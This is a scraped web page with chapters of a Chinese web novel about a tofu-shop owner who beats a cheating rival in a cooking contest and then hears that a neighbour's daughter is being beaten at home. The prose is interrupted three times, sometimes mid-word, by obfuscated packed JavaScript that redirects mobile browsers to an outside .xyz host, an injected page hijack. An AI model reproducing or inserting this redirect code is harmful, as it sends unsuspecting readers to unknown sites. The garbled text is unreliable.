RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16305663|182823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 苏兰点点头,眼神柔和了些:“以前在乡下,地里种着青菜,孩子爹偶尔会去河边捞些虾米,就常给小梅炖这个,她爱吃。” 说罢,她又下意识地补充了句:“沈掌柜要是喜欢,往后一日三餐我都来做饭,您教我干活已经够辛苦的了,饭食这点小事,该我来做。” “还叫‘沈掌柜’呢?”沈盈月故作嗔怪地看了她一眼,夹起一块豆腐放进嘴里,边嚼边说,“咱们现在天天在一处干活,往后还要一起打理铺子,总这么叫我,倒显得生分了。你就叫我盈月吧,街坊们也都这么叫我。” 苏兰愣了一下,手里的筷子停在半空。 自从逃荒来镇上,她见人都得低着头说话,连正经称呼都怕说错,更别提直呼雇主的名字了。 她张了张嘴,有些犹豫:“这、这不太合适吧?毕竟您是掌柜,我是帮工……” “什么掌柜不掌柜的,”沈盈月打断她,拿起一个馒头递过去,“我这铺子小,没那么多规矩。你帮我分担了这么多活,让我能喘口气,咱们就是互相帮衬的朋友,哪有朋友之间还这么客气的?” 她看向正乖乖吃羹的小梅,笑着补充:“你看小梅,都叫我姐姐呢,你总叫我沈掌柜,倒显得我比你大了好多似的。 “我瞧着,你也就比我大六七岁,我合该叫你一声苏兰姐才是呢。” 苏兰看着她真诚的眼神,又看了看女儿,心里那点拘谨渐渐散了。 她捏着馒头的手指紧了紧,嘴唇动了动,终于小声喊了句:“盈、盈月。” “哎,这就对了。”沈盈月立刻应下来,笑得眼睛都弯了,“以后就这么叫,快吃吧,这豆腐羹凉了就不鲜了,姐你也多吃点,下午还得继续忙呢。” 下午的生意更忙,邻镇的客商特意来定豆腐,一下子就订了二十块。又有几个街坊陆续上门,有的买块嫩豆腐回去烧汤,有的特意来订明早的桂花豆腐。 沈盈月和苏兰一人招呼客人、一人打理后厨,忙得脚不沾地,却难得的有条不紊。 突然间,外头一股刺鼻的酒气顺着门缝钻进来。 沈盈月皱了皱眉,刚想出去看看,便听见熟悉的吼声就像惊雷般炸响,震得街旁的树叶都簌簌落了几片: “沈盈月,你给老子出来!今天老子也不跟你废话,你有种就跟老子比一场,谁输了就卷铺盖滚出镇子,永不准踏进来!” “我就问,你敢不敢?” 沈盈月缓缓转过身,看见王老三身后跟着两个膀大腰圆的伙计。 三人并排站着,像要把他这刚开半月的小铺子生吞了似的。 她抬眼看向王老三,这人满脸通红,酒气混着汗味扑面而来,连说话都带着晃悠,显然是酒怂壮人胆。 “王掌柜,有话好好说,何必带着人来堵门呢?”沈盈月见周边的街坊们围上来,很快冷静下来。 这时候不能慌,更不能顺着王老三的脾气闹。 沈盈月清了清嗓子,继续说:“比试不是不行,但总得说清楚比什么、怎么比?总不能你一句话,就让我稀里糊涂地答应你吧?” 王老三笑得更嚣张,一脚踩在铺子门槛上。 他慢慢悠悠道:“怎么比?就比咱们吃饭的本事。嫩豆腐、老豆腐,再来一道硬菜,三样各做一样。” “到时候让全镇街坊当裁判,谁的东西没人吃、谁的手艺遭人嫌,谁就卷铺盖走人!” 8. 第八章 沈盈月还没接话,身后的苏兰突然攥住了她的衣角。 她不回头也知道,苏兰定是怕了。 沈盈月悄悄往后靠了靠,轻轻蹭了蹭苏兰的手背,掌心的暖意透过粗布衣衫传过去,算是无声的安抚。 待转过身时,她眼底的温和已淡去,语气添了几分冷冽:“比手艺我不怕,但今天日头都要落了,食材、工具都没准备,仓促比试算什么?王掌柜这是想趁人之危吗?” “你!”王老三被这话噎了一下,眼珠却飞快转了两圈,心里却打着小算盘。 的确,他哪敢今天比?他也得趁这几天准备准备,要是现在就比,他连想做手脚都没处做。 于是他冷哼一声,梗着脖子喊:“行,老子给你时间准备。就定在三天后,在你这铺子门口比。到时候要是你不来,就是认怂,直接滚蛋!” “三天后就三天后。”沈盈月点头应下,目光扫过王老三身后那两个膀大腰圆的伙计。“但我有条件。” “比试时,不准带无关的人来起哄,更不准在食材、工具上动手脚。咱们就凭真手艺说话。输家不仅要滚出镇子,还得给赢的人在大家面前赔礼道歉,承诺往后不准再找对方麻烦。” “哼,老子不跟你计较这些。”王老三拍着胸脯应下,“就按你说的来,三天后,老子让你知道,谁才是镇上的豆腐行老大!” 说罢,他狠狠瞪了沈盈月一眼,甩着袖子喊两个伙计:“走,咱们等着看她哭着求饶吧!” 看着王老三一行人骂骂咧咧地走远,围观的街坊立刻围上来。 张婆婆一把拉着沈盈月的手,满脸担忧:“盈月,你咋真跟他比啊?万一他耍花招可怎么办?” 一旁的胡老头也跟着点头:“是啊盈丫头,那人心眼多,说不定会在豆子、卤水上动手脚,你可得多留个心眼。” 沈盈月握着张婆婆的手,又回头望向脸色发白的苏兰。她心里何尝不清楚王老三的心思? 可事到如今,她早已没有退路。 若是不应下比试,王老三定会日日来铺中滋扰。街坊们见她不敢应战,也会以为她真的技不如人,往后谁还会来买她的豆腐? 届时铺子别想安稳做生意,她和苏兰母女也没法再过安稳日子。 她勉强挤出个笑脸:“这三日,我便好好准备,街坊们总是公道的。好豆腐坏豆腐,一尝便知。” ...... 时值暮春,杨柳依依。 比试当天,铺子门口挤满了人。 辰时刚过,沈盈月铺子前的路口已挤得水泄不通,街坊们或踮脚探头,或搬来长凳坐着,连巷口的小贩都收了摊子凑过来。 连县内做了三十年豆腐的周老师傅被请来当主裁判,这般热闹,谁也不愿错过。 周师傅手里攥着柄乌木小勺,端坐于临时搭起的木桌后。 他年轻时在京城大酒楼掌过勺,做豆腐的本事十里八乡无人不晓,有他在,没人敢说半句不公。 待人群渐静,周师傅才缓缓开口:“按咱们先前约好的规矩,第一局比嫩豆腐。这是最寻常的手艺,却也是最见真章的。两家把备好的豆腐呈上,我看品相、尝口感,再定输赢。” 话音未落,王老三先一步让伙计把自家的豆腐呈上来,只见木盘上面摆着块方方正正的豆腐,颜色透着暗黄。 周师傅皱了皱眉,没动,又看向沈盈月。 见状,沈盈月将白瓷盘端上来,盘里的豆腐洁白得像块凝脂,微微晃动时,像块软玉似的颤了颤。 沈盈月轻声道:“周师傅,请您尝尝。” 这姑娘看着年纪虽小,技术倒是老练。 周师傅眼中闪过一丝赞许,他舀起一块,先让豆腐在舌尖化开。醇厚的豆香瞬间漫开,余味里还带着淡淡的回甘。 “豆选得好,既不松散易碎,也不紧实发柴,是块好豆腐。” 王老三跟着喊:“周师傅,您再尝尝我的!” 周师傅又不紧不慢地舀起王老三的豆腐,放进嘴里慢慢嚼了嚼,顿时眉头微蹙:“豆香淡,口感发紧。这样的豆腐,怎配跟沈姑娘的比?” 眼见周师傅嚼了两下便吐了出来,王老三脸上的笑僵了僵。 周师傅放下勺子,看向众人,宣布道:“第一局,沈盈月胜。” 街坊们立刻欢呼起来,一向矜持的胡老头也拍着腿喊:“我就说盈丫头的豆腐好,比王老三的强多了!” 连几个平时不怎么买沈盈月豆腐的人,都忍不住点头。毕竟沈盈月的豆腐,单看品相就赢了。 沈盈月松了口气,她看向王老三,原以为对方会像往常一样跳脚骂人,没成想他只是脸色沉了沉。随即竟勾起嘴角,冲身边的伙计递了个眼神。 王老三向来好面子,之前丢了些生意就上门堵门,如今在这么多街坊面前输了第一局,怎么会这么平静? 难道这局只是他的幌子? 沈盈月悄悄看向王老三带来的食盒,那里面还放着准备比第二局的老豆腐,盖子盖得严严实实,看不出半点端倪。 苏兰凑过来小声说:“盈月,你赢了怎么还不开心?” 沈盈月压低声音:“他不对劲,你帮我盯着他和他的的伙计,别让他们再耍花招。” 王老三在众人的议论声里,慢悠悠地收拾着木盘。 他还故意冲沈盈月笑了笑:“沈姑娘好手艺,这局我输得心服口服。不过后面还有两局,咱们慢慢比,不着急。” 那语气里没有半分恼意,反而让沈盈月心头的疑云浓了几分。 这第一局的轻松胜利,恐怕没那么简单。 第二局,比老豆腐。 沈盈月小心地打开食盒盖,正打算呈上去,竟有一股淡淡的馊味突然飘了出来。 味道像是隔了夜的剩菜混着霉气,呛得她下意识后退半步。 而老豆腐表面,竟泛着层灰绿色的霉斑,指尖轻轻一碰,还能感觉到黏腻的潮气。 今早刚做好的老豆腐,竟不知何时变质了! 沈盈月脑子里“嗡”的一声,怔愣在原地。 “是……是我疏忽了。”身后突然传来苏兰带着哭腔的声音,她看到食盒里的豆腐,膝盖一软险些摔倒,“今早我还去后院看过,豆腐还好好的,可后小梅哭着说渴,我去灶房给她找水,回来时竟忘了再去查看……定是那会儿,王老三的人趁机下了手!” 苏兰抓着沈盈月的胳膊,指尖冰凉,眼泪顺着脸颊往下掉:“都怪我,都怪我记性差,光顾着小梅,就忘了你托付的事!这可怎么办啊盈月?要是输了比试,咱们娘俩又要连累你……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16305664|182823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沈盈月看着苏兰悔恨交加的模样,到了嘴边的话又咽了回去。 她何尝不着急?可看着苏兰通红的眼眶,想起小梅的模样,她又怎么忍心苛责? “苏兰姐,不怪你。”沈盈月深吸一口气,伸手擦去苏兰脸上的泪,“小梅年纪小,你顾着孩子也是应当的。是我太疏忽,没想着多留个心眼。” 话虽如此,沈盈月的心却像被浸了冰水般冷。 她蹲下身,指尖轻轻拂过豆腐上的霉斑,黏腻的触感让她胃里一阵翻腾。 这霉斑分布得极均匀,不像是自然闷馊的,倒像是有人特意往食盒里洒了水。潮湿之下,一夜功夫就能让好端端的豆腐腐坏变质。 “定是王老三的伙计趁你去灶房时,翻了后院的墙。”沈盈月站起身,“他们知道你要照看小梅,故意选在那会儿动手,就是算准了你会分心。” 苏兰听得浑身发抖,紧紧攥着沈盈月的手:“那现在怎么办?比试马上要开始了,咱们再做一块老豆腐也来不及了啊!” 恰在此时,王老三立刻凑过来,假惺惺地皱着眉:“沈姑娘,你这豆腐怎么回事?做老豆腐最讲究新鲜,你怎么能用馊豆腐来比试?莫不是输不起,故意拿坏豆腐糊弄大家?” 他一边说,一边让人把自己的老豆腐端上来。 那豆腐方正紧实,表面泛着油亮的浅黄,用刀切开,纹理均匀,刚掀开食盒,就飘出一股浓郁的豆香。 王老三得意地看向周师傅,见周师傅先拿起小勺,在沈盈月的老豆腐上刮了一下,灰绿色的霉斑更明显了,馊味也更重。 他皱着眉,没尝就放下了勺:“豆腐已馊,不能入口。” 接着他尝了王老三的老豆腐,慢慢嚼了嚼,点了点头:“豆香足,质地紧实,尚可。” “第二局,王老三胜。” 话音刚落,人群里立刻响起两种声音。 张婆婆第一个站出来,指着王老三骂道:“你少在这里装模作样,盈月最是细心,豆腐怎会突然馊了?定是你让伙计动了手脚!” 可几个平时常买王老三豆腐的主顾,却跟着说风凉话:“我看就是沈姑娘自己不小心,把豆腐放坏了,输了就想赖别人。” “是啊,用馊豆腐比试,也太不讲究了,哈哈,说不去不让人笑掉大牙!” 又听有人小声嘀咕:“这下两局一胜一负,最后一局要是再输,沈姑娘可就得卷铺盖走人了,这铺子怕是要归王老三了。” 沈盈月站在原地,指尖攥得发白,心里又气又急。 她不是输不起,是不甘心输在这种卑劣手段。 苏兰紧紧攥着她的胳膊,眼眶泛红:“盈月,都怪我,肯定是他们什么时候动了手脚,都怪我没看好豆腐。” 沈盈月深吸一口气,反过来拍了拍苏兰的手:“不怪你,是我太大意了。不过还有最后一局,咱们还有机会。” 她抬眼看向王老三,对方正得意地冲她挑眉,那副胜券在握的模样,更让她咬牙切齿。 她心中痛骂,好你个阴险狡诈的老东西,尽会使些下作的手段! 沈盈月一甩衣袖,向前两步,对着围拢的街坊朗声道:“各位街坊,今日这局我输得蹊跷,但我认。不过这最后一局,到底是谁的手艺好,谁在耍花招,咱们且看最后见分晓!” 9. 第九章 “最后一局,比一道豆腐相关的硬菜,就地起灶,现在动手。午时前成菜,一局定胜负。” 周师傅话音一落,几个小伙子便搬来砖头,在铺子前搭起两个临时灶台,铁锅、木柴一一摆齐。 沈盈月深吸一口气,这最后一局定输赢,王老三先前已用阴招赢了第二局,此刻必然会卯足劲争胜,自己半点马虎不得。 她转身回铺取了食材,竹篮里早备好了泡发得饱满的干香菇、吐净沙的虾仁,还有今早天不亮去买的新鲜嫩笋,水灵得能掐出汁来。 这都是做三鲜豆腐的好料。三鲜豆腐靠的是食材本鲜,香菇提香、虾仁增鲜、嫩笋解腻,只需用提前熬的鸡汤简单调味,便能衬出豆腐本身的清甜。 长洲县本地向来喜食清淡,晨起是白粥包子,晌午多是清蒸鱼、炒时蔬,连炖肉都只放少许姜葱去腥。 这样的菜式十分合当地人的口味,毕竟清淡菜最难掩瑕疵,食材好不好、火候到不到,没有了重油重盐的掩盖,一口便能尝出手艺好坏。 沈盈月先将香菇、虾仁、嫩笋切成丁,起锅烧油,先下葱姜爆香,接着倒入食材翻炒。 待香菇的香味飘出来,再往里头添一勺提前熬好的鸡汤,最后放入剁得整整齐齐的豆腐块,小火慢炖。 不多时,鲜香便蔓延开来,温润绵长,鲜得人舌尖发颤。 与此同时,王老三的灶台边也已围了不少人。 他掏出一大包干辣椒、花椒,一股子冲鼻的辛辣气瞬间飘了出去,引得前排街坊纷纷侧目, 王老三见众人目光都看向自己,嘴角勾起抹得意的笑,故意抓起一大把花椒往热油锅里撒,只听滋啦一声响,麻辣香气轰然散开。 他起锅时放了许多花椒和辣椒,还舀了一勺猪油添进锅里,油花翻滚间,麻辣香气裹着厚重的油香。 油星子噼啪作响,不少街坊被这股浓烈的香气勾得挪不开脚。 王老三得意洋洋道:“我这麻婆豆腐是按蜀地老方子做的,又麻又辣又香!” 本地人吃惯了清淡口味,乍见这般红亮的辣油、闻着这霸道的麻辣香,倒生出几分新鲜劲。 连之前帮沈盈月说话的人,都忍不住往王老三的灶台边凑:“之前听人说蜀地的菜最为辛辣,今日总算见到了。真香啊,闻着就想吃!” 也有人点评道:“这辣味还是太重,我可吃不惯,还是沈姑娘的豆腐闻着更鲜。” 几个年轻后生却反对:“沈姑娘那三鲜豆腐是鲜,可太清淡了,吃着没劲儿。” 听着议论声渐渐偏向王老三,沈盈月翻炒豆腐的手顿了顿。 她的三鲜豆腐虽鲜,可香气偏清淡,在王老三那股霸道的麻辣香面前,竟显得有些温吞。 她悄悄抬眼,瞥见王老三正用锅铲在锅里快速翻动。 红油裹着豆腐块翻滚,红的椒碎、褐的花椒、绿的葱花,层层叠叠点缀得眼花缭乱,让人根本分不清到底加了多少种料。 方才王老三往锅里撒料时,她只当是寻常的花椒面。可此刻再闻那香味,除了麻和辣,竟还藏着股说不出的勾人气息,让人明明觉得呛得很,却又忍不住想多闻两口。 沈盈月心里泛起嘀咕,总觉得哪里不对劲,可眼看倒计时将至,也容不得她细想。 她能先收了心思,战战兢兢地将自己的三鲜豆腐端上去。 不多时,两人的菜便在周师傅面前的木桌上并排摆开。 周师傅先尝了沈盈月的三鲜豆腐。 豆腐入口即化,香菇的香、虾仁的鲜、嫩笋的脆,与豆腐的清甜完美融合,汤汁鲜而不腻。 周师傅点了点头,未做多言。随后尝了王老三的麻婆豆腐,慢慢嚼了嚼,眉头却没舒展,半晌也没有评价。 边上的人见状嚷嚷起来:“之前王掌柜输了一局,这局总该赢了吧?再说了,街坊们大多都觉得麻婆豆腐好吃,总不能违着大家的心意吧?” 张婆婆听着这话急了,忍不住开口:“你们懂什么,盈月这豆腐才是靠真本事。王老三那菜除了辣就是麻,哪尝得出豆腐本来的滋味?” “张婆婆您这话就偏心了。”一人摇摇头反驳,“咱吃菜不就图个好吃过瘾?沈姑娘的菜是好,可比试得论高下,分明王掌柜的更受欢迎!” 见两边吵得面红耳赤,有人连忙站出来打圆场:“都别吵啦,咱们请周师傅来当裁判,不就是为了公道吗?别争了,听周师傅怎么说。” 这话一出,吵嚷的人群瞬间安静下来,所有目光都齐刷刷地投向周师傅。 周师傅放下小勺,皱着眉思索了许久,却道:“论滋味,沈盈月的三鲜豆腐,更胜一筹。” 这话一出,原本偏向王老三的街坊们顿时愣住。 连王老三都不敢置信:“周师傅,您是不是尝错了?我这麻婆豆腐大家可都觉得好吃!” 周师傅不作理会,自顾自地摇了摇头:“你的麻婆豆腐,起初确实能让人印象深刻,可尝过之后呢?除了满嘴的辣和麻,只剩油腻,豆腐本身的豆香全被盖得一丝不剩。这不是做豆腐菜,是用调料盖豆腐的味。” 沈盈月噗嗤一笑,周师傅这意思,不就是说王老三这料拌鞋底子都好吃吗? 周师傅看向刚才簇拥王老三的一人,未免有些不满道:“你说过瘾,可要是让你连着吃三碗,你是愿意吃王掌柜这又麻又辣的豆腐,还是愿意吃沈掌柜这口鲜香清润的豆腐?” 众人哑口无言。 “其次。”却又见周师傅顿了顿,对着王老三幽幽开口,“你这酱料里,加了罂粟壳粉吧?不然不会有这股勾人的后味。” 王老三脸色瞬间变了。 他刚想否认,周师傅已从碗里挑出一点黑色的碎末:“这就是罂粟壳的碎渣,我在京城做豆腐时,见过有人用这东西提香。” “罂粟壳这东西,看似不起眼,实则是个大祸害!早年我在临安城见人用它,做出来的菜肴风靡一时,城里的老百姓排着队买。可时间一长,坏处就全显出来了。” “有人吃惯了加了这东西的菜,再吃寻常饭菜就觉得没滋味,不知不觉就离不开。更有甚者,吃得多了,精神头越来越差,身子骨都被拖垮了!” 这话像惊雷般炸在人群里,刚才还夸赞麻婆豆腐的街坊瞬间变了脸色:“难怪闻着那么勾人,原来是加了这东西,太缺德了。” “王老三你这是作弊,赢了也不光彩,为了获胜连街坊们的身体都不顾了,真是狠毒!” 沈盈月也才大彻大悟,她刚才还在震惊王老三的菜为何更吸引人,竟没料到是用了这般卑劣的手段。 如若周师傅没有识破,岂不是害了大家? 王老三的脸白一阵红一阵,腿肚子都开始打颤,嘴里还硬撑着:“我……我没有!这就是普通香料,大家别听他胡说!” “是不是胡说,官府一查便知。”沈盈月厉声道,“敢用罂粟壳害人,这比试你不仅输了,更得给街坊们一个说法!” 王老三见奸计败露,想趁着混乱溜走,却被街坊们团团围住,更有几个气性大的后生追着他又锤又打。 “哎呦哎呦!我错了,别打了、别打了!”王老三抱头鼠窜,悔得肠子都青了。 周师傅慢悠悠地站起身,一锤定音:“第三局,王老三舞弊,判负。 “此局,沈盈月胜! ...... 沈盈月此次一战成名,豆腐铺生意更是蒸蒸日上,往来食客络绎不绝,账本上的收益翻了几番。 没了王老三的阻拦,日子也是越过越顺。 那家伙自比试败露、被街坊们堵着要说法后,就连夜收拾东西逃似的了长洲县,生怕被告上官 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16305665|182823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 衙蹲大牢。 少了个阴险狡诈的同行,沈盈月几近包揽了整个镇子的豆腐生意,简直是春风得意。 她却没敢松懈,势必要将铺子越开越好不可。 这日天光微亮,小巷还浸在淡淡的晨雾里,豆腐铺子的木窗已透出暖黄的光。 沈盈月握着半截炭笔,正低头在新削好的木牌上细细书写。 木桌上已摆了三块写好的木牌,分别写着“焖汁豆腐干”、“椰蓉豆腐糯米糍”、“芥菜豆腐羹”。 炭笔字写得娟秀有力,这正是今日要上的新品。 沈盈月将木牌挂起来,满意地欣赏了几个来回,心想着将新品给张婆婆和胡老头各留一份。 张婆婆牙口不好、爱吃甜,软嫩的糯米糍和豆腐羹正适合她;胡老头爱喝酒,焖汁豆腐干下酒正好。 可日头近正午,张婆婆也没来。 张婆婆每日一早就要起来买菜,更是天天来她的铺子里光顾生意,今日这是怎么了? 见沈盈月第三次往门口望,苏兰忍不住上前给她递上一碗水,安慰道:“盈月,张阿婆应该是有事耽搁了,你别着急。” 沈盈月接过水,却没心思喝,只望着碗里荡漾的水波出神。 张婆婆是个极守时的人,向来不会无故失约。更何况她昨日还特意说,今早要尝尝新上的椰蓉豆腐糯米糍呢。 难道是路上出了什么岔子?还是家里有急事? 她越想心里越不踏实,刚要起身去寻张婆婆,就听见巷口传来一阵急促的哭喊声。 “盈月、盈月!” 只见张婆婆跌跌撞撞地跑进铺子,花白的头发乱了大半,眼角还挂着泪,看见沈盈月就双腿一软跌坐在地,“盈月,你可得帮帮我啊......我家菱儿,又被她男人打了!” 张婆婆的女儿菱儿她见过,是个温和又勤快的姑娘,走路轻轻巧巧,说话细声细气的。 沈盈月连忙上前扶住她,苏兰也赶紧搬来凳子,让张婆婆坐下。 张婆婆抹了把泪,眼泪却越擦越多:“菱儿嫁过去三年,那陈家小子一开始还装得好好的,后来就露出本性了!刚开始嫌弃菱儿生不出儿子,后来生意赔了、喝了酒,都拿菱儿撒气……” “上次我去看菱儿,就看见她胳膊上有青印,她还瞒着我,说自己不小心撞的。今日我去给她送菜,刚到陈家门口,就听见菱儿的哭声。我推门进去,就看见那畜生正揪着菱儿的头发往墙上撞!” “我家老头子死的早,我一个老婆子,根本管不住他,我只能眼睁睁地看着阿菱挨打。我的菱儿、我的女儿,你怎么命这么苦呀!” 张婆婆锤了锤自己的腿,泪如雨下,哭得身子都在颤。 旁边的苏兰听得眼圈也红了,攥着拳头小声骂道:“哪有这样的男人,打女人算什么本事!” 沈盈月听得眉头越皱越紧,心中火冒三丈。 “婆婆,您别急,”沈盈月扶着张婆婆的肩膀,强迫自己冷静下来,“菱儿现在在哪儿?” “菱儿被他锁在屋里了!”张婆婆气得浑身发抖,“我去报官,可官差说清官难断家务事,压根不管。我实在没办法了,想着盈月心善又有主意,才来求你……” 苏兰平时性子最是温柔,就没见她跟人红过脸、说过重话,如今也忍不下去。她忍不住斥道:“这怎么能不管!这都快出人命了,还说什么家务事!” 沈盈月站起身,转身对苏兰说:“苏兰姐,你先看着铺子,把小梅带好,别让她乱跑。我陪张婆婆去陈家一趟,很快就回来。” “盈月,你……”苏兰一怔,有些担心,“那陈小子这么心狠手辣,你一个姑娘家去,会不会有危险?” “没事,”沈盈月拿起菜刀,语气淡定得出奇,“我不是去打架,是去讲道理。你放心,我有分寸。”